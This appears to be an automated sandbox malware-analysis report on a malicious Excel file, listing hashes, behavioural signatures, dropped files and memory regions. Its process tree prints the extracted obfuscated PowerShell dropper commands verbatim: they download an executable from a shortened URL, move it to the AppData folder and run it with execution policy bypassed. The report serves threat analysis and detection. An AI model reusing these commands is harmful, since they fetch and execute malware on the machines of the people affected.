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Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/06/2024, 09:57

General

  • Target

    19b5bbd4478a50df5b886c7c9168ec59_JaffaCakes118.xls

  • Size

    116KB

  • MD5

    19b5bbd4478a50df5b886c7c9168ec59

  • SHA1

    9c84634a5685ebe2f75b2b3eecffc7c2748bd621

  • SHA256

    7a89a04ff27d6fe5e0d9249feee09c24989b074aa75e5563f755a7a279c62e5e

  • SHA512

    637d9a59ef4ce4145ac1ebc6c5bcfcf202b8c20d9a55c90ea4add7cd9f57832f9859201b1d1716138877c2e42d00b5c1413212cc0ac61c92273c036325e18539

  • SSDEEP

    3072:ZTk3hbdlylKsgqopeJBWhZFGkE+cL2NdAoioo1gaSNAPZlsWFPO7YiR6PJEcjjas:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAos

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bit.ly/3djeHvo

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\19b5bbd4478a50df5b886c7c9168ec59_JaffaCakes118.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5084
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 (nEw-oB`jecT Net.WebCL`I`eNT).('Down'+'loadFile').Invoke('https://bit.ly/3djeHvo','ts.exe')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 Start-Sleep 20; Move-Item "ts.exe" -Destination "${enV`:appdata}"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w 1 -EP bypass Start-Sleep 25; cd ${enV`:appdata};.('.'+'/ts.exe')
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5092

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ac3bf9756600f6c31a15240716e6e7c6

    SHA1

    521aa76b55f74cafd1b579933dc0fae439acb0f5

    SHA256

    f7bc65b2962543bb5165f2b1bb6b3390ed3b55801475b2fd7701129cc8a081fd

    SHA512

    96ae0dddaeadae05fed313707076af5d443d328d2ea8524aa283812591b615b596a0aab1d2918471aba59f5546cebca7521bd2003db63a24f548899bee5fa67a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    331841fe482ffe8b1cc1509733d8ca67

    SHA1

    1e3257cca1b2c7c3aaf4cf1f138c9e9e665e8cb8

    SHA256

    14112a43248df71bdf7668c923f541190c6417ef37796605cf8114f565648d0f

    SHA512

    039e5991132912f94b3fbe23146ee61bb822aada6a3f2b37bca226c76c162e04a106f3626587ff079411a03e6e9a4813ad04813ada4694f9b78f49e1925389d9

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2tost5uc.czk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    6KB

    MD5

    77412068570786b3b167565843ed51c0

    SHA1

    3e77dd5a999218ca8f2914db57cea703fb05af4d

    SHA256

    0da0068fe5822318612bd28633616e373c92a5526dc19871c95c6e6d2706b52d

    SHA512

    8cf1e6b9513186a5be1064d965d18506994b22384214c9c87ccd6a519114a3ba5d2a24e107b77de1b5f07bfdc2687b08c02606389bba93bbd6371283bd525b0c

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    6KB

    MD5

    3b9928fb5fb899c857490a8caa4df4d5

    SHA1

    3e7daf3c50263a4bea1616010d52dcc2d6ebf0d2

    SHA256

    cf8f4b7c0d3f43264f8688a0082fec6abc22b8f1f5eb4f2626481c01c8793dfe

    SHA512

    ad094cb1ed8e66a95a02d4949fbfd8640698181b18baf943ce5969b6c8b9ca1dcaf6bb06fe94b3dd5e49f60799d3a0fbaac230d90eb00cbe36aa069783752421

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    6KB

    MD5

    4d98da30393795581760a0736d3158ab

    SHA1

    79ab0bec6140a3dd05819cffd61c4d6fef6f77e7

    SHA256

    6e67ab3fedd56536bbdb97093de5ddbbeac5265661c516359415c29338c3823f

    SHA512

    474a6ab3d264e763a5ad90ef3ed0065d4d04e6e5b8ffbe4c3d84dcc1dda27f692e1dc5962e8c245ef76e42f4f71626f11b865cfcafce70e5a4314a1ddd41e1b1

  • memory/5084-8-0x00007FF94BB10000-0x00007FF94BB20000-memory.dmp

    Filesize

    64KB

  • memory/5084-5-0x00007FF98DF4D000-0x00007FF98DF4E000-memory.dmp

    Filesize

    4KB

  • memory/5084-9-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-10-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-11-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-13-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-12-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-14-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-15-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-17-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-16-0x00007FF94BB10000-0x00007FF94BB20000-memory.dmp

    Filesize

    64KB

  • memory/5084-7-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-6-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-0-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-4-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-100-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-3-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-1-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-79-0x00007FF98DEB0000-0x00007FF98E0A5000-memory.dmp

    Filesize

    2.0MB

  • memory/5084-2-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-96-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-97-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-99-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5084-98-0x00007FF94DF30000-0x00007FF94DF40000-memory.dmp

    Filesize

    64KB

  • memory/5092-38-0x0000027C6F990000-0x0000027C6F9B2000-memory.dmp

    Filesize

    136KB